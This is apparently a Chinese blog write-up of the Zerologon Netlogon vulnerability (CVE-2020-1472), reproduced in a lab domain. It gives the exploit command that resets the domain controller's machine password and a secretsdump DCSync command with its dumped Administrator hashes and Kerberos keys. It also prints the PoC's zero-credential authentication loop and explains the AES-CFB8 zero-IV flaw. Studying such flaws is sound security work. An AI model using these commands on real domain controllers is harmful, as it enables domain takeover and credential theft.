Netlogon协议认证过程:

略
利用
域环境使用Windows server 2012R2搭建,先用
脚本重置域账户密码
python cve-2020-1472-exploit.py WIN2016 192.168.52.130
并抓取数据包
重置之后域账户的密码为空,对应hash为31d6cfe0d16ae931b73c59d7e0c089c0
安装impacket:
python3 -m pipx install impacketpipx ensurepath
使用impacket的secretsdump进行Dcsync,得到Administratr账户的NTLM hashsecretsdump.py cqy.io/WIN2016\$@WIN2016 -dc-ip 192.168.52.130 -just-dc-user cqy\\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:668d503af91aefe071e37a16e885047b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:8996ffd41ae52dd62a3c60007d078f10eb7cd3eb5d4b74c90791c8e47eba88cb
Administrator:aes128-cts-hmac-sha1-96:a3a6d348e74cee613718c2f94d404fb6
Administrator:des-cbc-md5:f732d313b5e92585
[*] Cleaning up...
PoC分析
关键代码是下面这个函数,参数rpc_con是DCERPC_v5对象,描述了rcp链接,
for attempt in range(0, MAX_ATTEMPTS):
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
if result is None:
print('=', end='', flush=True)
else:
break
def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
return True
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
except BaseException as ex:
fail(f'Unexpected error: {ex}.')
在PoC中循环发起认证,每次认证时,client challenge置为0x00 * 8,client credential置为0x00 * 8
在
netlogon协议中知道,服务器会比较自己计算的ClientCredential和客户端发过来的ClientCredential是否相等,而ClientCredential来源于会话密钥加密ClientChallenge。其中加密算法为AES,使用CFB8模式。该算法过程如下:
算法步骤:
AES-CFB8通过前一个密文块的反馈来影响下一个明文块的加密,从而避免了ECB模式的确定性问题。但必须使用随机的IV来保证安全性。
会话密钥计算公式:KDF(ClientChallenge+ServerChallenge+secret),在每一轮认证过程中,ServerChallenge都会变化,但Windows中实现的AES-CFB8使用的iv被设为16字节的0x00 攻击者可控ClientChallenge和ClientCredential,CLientChallenge对应于蓝色部分。由于轮认证时ServerChallenge都会改变且不会重复,所以每次计算出的会话密钥都不一样。当ClientChallenge置为0x00 * 8,当第一轮计算时,计算出的结果有1/256概率为0x00,而这个0x00又会作为下一轮输入添加到iv的第一个字节,即有1/256概率计算后的结果和计算前的值一样全为0x00,这样每一轮计算结果都是全为0x00。 这样第一轮计算后在算法中的输入为全0,加密密钥不变,第二轮计算时,结果依然会是0,这样最终算法结果输出会是全0。 由于每轮认证过程中会话密钥都不一样,所以每一轮认证过程时,AES-CFB8第一轮计算的结果都会不一样,结果最多有256种情况,最差的情况在第256轮时计算结果为0x00。
当AES-CFB8加密结果刚刚好为全0时,客户端发送的ClientCredential也为全0,此时就可以通过服务端的校验,完成身份验证。
可以编写一段简单的python代码模拟服务端加密过程
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import secrets
iv = bytes([
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
]) # 16 byte IV
plaintext = bytes([
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
]) # 8 byte plaintext
for i in range(256):
key = secrets.token_bytes(16) # 8 byte key
cipher = Cipher(algorithms.AES(key),
modes.CFB8(iv),
backend=default_backend())
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext) + encryptor.finalize()
print(ciphertext.hex())
在第115次时,加密后的密文为0x0000000000000000
参考链接
Created at 2023-05-08T14:39:28+08:00